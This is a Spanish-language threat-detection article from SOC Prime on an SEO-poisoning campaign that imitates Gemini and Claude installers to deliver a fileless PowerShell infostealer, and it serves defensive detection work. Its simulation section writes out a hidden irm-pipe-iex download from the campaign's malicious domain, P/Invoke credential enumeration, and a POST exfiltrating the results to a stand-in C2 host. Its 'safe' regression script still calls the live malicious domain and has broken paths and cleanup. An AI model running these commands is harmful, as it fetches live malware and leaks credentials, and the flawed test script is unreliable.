SOC Prime Bias: Medio

25 May 2026 16:29 UTC

Campaña de Envenenamiento de SEO Utiliza Códigos Gemini y Claude Engañosos para Entregar un Infostealer

Author Photo
SOC Prime Team linkedin icon Seguir
Campaña de Envenenamiento de SEO Utiliza Códigos Gemini y Claude Engañosos para Entregar un Infostealer
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Actores de eCrime motivados financieramente están utilizando envenenamiento SEO para impulsar dominios falsos que imitan instaladores para asistentes de codificación de IA. Las víctimas que copian y pegan un único comando de PowerShell desde estas páginas activan un ladrón de información sin archivos que se ejecuta completamente en memoria. El malware roba credenciales, cookies de sesión, claves VPN y archivos sensibles antes de extraer los datos de forma cifrada a un servidor de comando y control. La campaña está dirigida a estaciones de trabajo de desarrolladores de Windows y se mezcla con la actividad normal al abusar de herramientas de desarrollador familiares.

Investigación

Analistas de EclecticIQ rastrearon la infraestructura maliciosa a .co.com dominios que sirven cadenas de descarga de PowerShell a través de irm and iex. El script de primera etapa lanza una ventana de PowerShell oculta usando Shell.Application.ShellExecute, luego carga tipos adicionales de C# para recopilar credenciales, detalles del sistema y otros datos valiosos. Se observó la exfiltración a través de HTTP y HTTPS a events.msft23.com and events.ms709.com usando rutas URL específicas. El análisis pasivo de DNS vinculó la operación a un proveedor de hosting a prueba de balas en los Países Bajos y a un grupo más amplio de dominios con errores tipográficos.

Mitigación

Los defensores deben detectar y bloquear el irm | iex patrón de ejecución, ventanas de PowerShell ocultas y el uso sospechoso de Add-Type que involucra llamadas a P/Invoke. Las organizaciones deben aplicar el Modo de Lenguaje Restringido de PowerShell y usar AppLocker o WDAC para prevenir la ejecución de scripts desde contenido proveniente de internet. Restringir el acceso de escritura al portapapeles del navegador y aplicar tokens OAuth de corta duración para cuentas de desarrolladores puede reducir aún más la exposición. Los desarrolladores también deben estar entrenados para evitar comandos de copiar-pegar de sitios web no confiables.

Respuesta

Los equipos de seguridad deben alertar sobre procesos de PowerShell lanzados con -WindowStyle Hidden o invocados a través de Shell.Application.ShellExecute. Estos eventos deben correlacionarse con solicitudes HTTP salientes a dominios que coincidan con *-setup.com or events.*.com, especialmente cuando aparecen las rutas /take, /process, o /validate . Si se detecta este comportamiento, aísle el punto final afectado, recopile registros de PowerShell y realice la recopilación forense de datos del navegador y almacenes de credenciales.

Flujo de Ataque

Ejecución de Simulación

Prerrequisito: La Comprobación de Prevuelo de Telemetría y Línea Base debe haberse aprobado.

Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente las TTP identificadas y apuntar a generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados conducirán a un diagnóstico erróneo.

  • Narrativa del Ataque y Comandos:
    Un atacante compromete una cuenta de usuario con bajos privilegios y ejecuta un one-liner de PowerShell a través de cmd.exe. El one-liner usa irm (Invoke‑RestMethod) para recuperar un script de PowerShell malicioso de events.msft23.com, lo canaliza a iex (Invoke‑Expression) para ejecutar completamente la carga útil en memoria, y oculta la ventana de PowerShell para evitar miradas indiscretas. La carga útil posteriormente carga un tipo .NET con Add‑Type para realizar una enumeración de credenciales usando la API CredEnumerate , extrayendo los datos recopilados sobre HTTPS. Todos los pasos se ejecutan sin escribir archivos en el disco, coincidiendo con la descripción de “sin archivo”.

    # Paso 1 – Lanzamiento de PowerShell oculto
    powershell.exe -WindowStyle Hidden -Command "irm https://events.msft23.com/payload.ps1 -UseBasicParsing | iex"

    El payload.ps1 descargado (ejecutado en memoria) contiene:

    # Paso 2 – Cargar tipo .NET para enumeración de credenciales
    $type = @"
    using System;
    using System.Runtime.InteropServices;
    public class Cred {
        [DllImport("advapi32.dll", SetLastError=true)]
        public static extern bool CredEnumerate(string filter, int flag, out int count, out IntPtr pCredentials);
    }
    "@
    Add-Type $type
    
    # Paso 3 – Iniciar volcamiento de credenciales y extraer
    $null = [Cred]::CredEnumerate("*",0,[ref]$count,[ref]$ptr)
    $data = "Collected $count credentials"
    Invoke-RestMethod -Method Post -Uri https://attacker.c2/exfil -Body $data

    Esta secuencia genera los fragmentos de línea de comando que la regla Sigma coincide:

    • powershell.exe -WindowStyle Hidden
    • irm events.msft23.com | iex
    • Add-Type
    • advapi32.dll!CredEnumerate
  • Guión de Prueba de Regresión: El siguiente guión reproduce el comportamiento exacto en una estación de trabajo de prueba. Ejecútelo desde un aviso de PowerShell elevado.

    # Simulación de Infostealer de PowerShell Sin Archivos – TC-20260525-A7Z3K
    # ------------------------------------------------------------
    # Paso 1 – Ejecutar PowerShell oculto que descarga y ejecuta carga útil
    $command = 'powershell.exe -WindowStyle Hidden -Command "irm https://events.msft23.com/payload.ps1 -UseBasicParsing | iex"'
    Start-Process -FilePath "cmd.exe" -ArgumentList "/c $command" -WindowStyle Hidden
    
    # Contenido de payload.ps1 simulado (alojado localmente para pruebas seguras)
    $payload = @'
    $type = @"
    using System;
    using System.Runtime.InteropServices;
    public class Cred {
        [DllImport("advapi32.dll", SetLastError=true)]
        public static extern bool CredEnumerate(string filter, int flag, out int count, out IntPtr pCredentials);
    }
    "@
    Add-Type $type
    
    $null = [Cred]::CredEnumerate("*",0,[ref]$count,[ref]$ptr)
    $data = "Collected $count credentials"
    # Simular exfiltración a un endpoint inofensivo
    Invoke-RestMethod -Method Post -Uri "https://httpbin.org/post" -Body $data
    '@
    
    # Escribir carga útil simulada en ubicación temporal para la prueba (simulando alojamiento remoto)
    $tempPath = "$env:TEMPpayload.ps1"
    Set-Content -Path $tempPath -Value $payload -Encoding UTF8
    
    # Servir la carga útil a través de un simple oyente HTTP local (para demostración)
    $listener = [System.Net.HttpListener]::new()
    $listener.Prefixes.Add("http://+:8080/")
    $listener.Start()
    Write-Host "Serving mock payload on http://localhost:8080/payload.ps1"
    while ($listener.IsListening) {
        $context = $listener.GetContext()
        if ($context.Request.Url.AbsolutePath -eq "/payload.ps1") {
            $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload)
            $context.Response.ContentLength64 = $bytes.Length
            $context.Response.OutputStream.Write($bytes,0,$bytes.Length)
            $context.Response.Close()
        }
    }
    # Nota: Detenga el oyente manualmente después de la validación.
  • Comandos de Limpieza: Eliminar archivos temporales y detener el oyente HTTP.

    # Limpieza después de la simulación
    Remove-Item -Path "$env:TEMPpayload.ps1" -ErrorAction SilentlyContinue
    # Detener el oyente HTTP local (si todavía está en ejecución)
    Get-Process -Name "powershell" | Where-Object {$_.MainWindowTitle -match "payload"} | Stop-Process -Force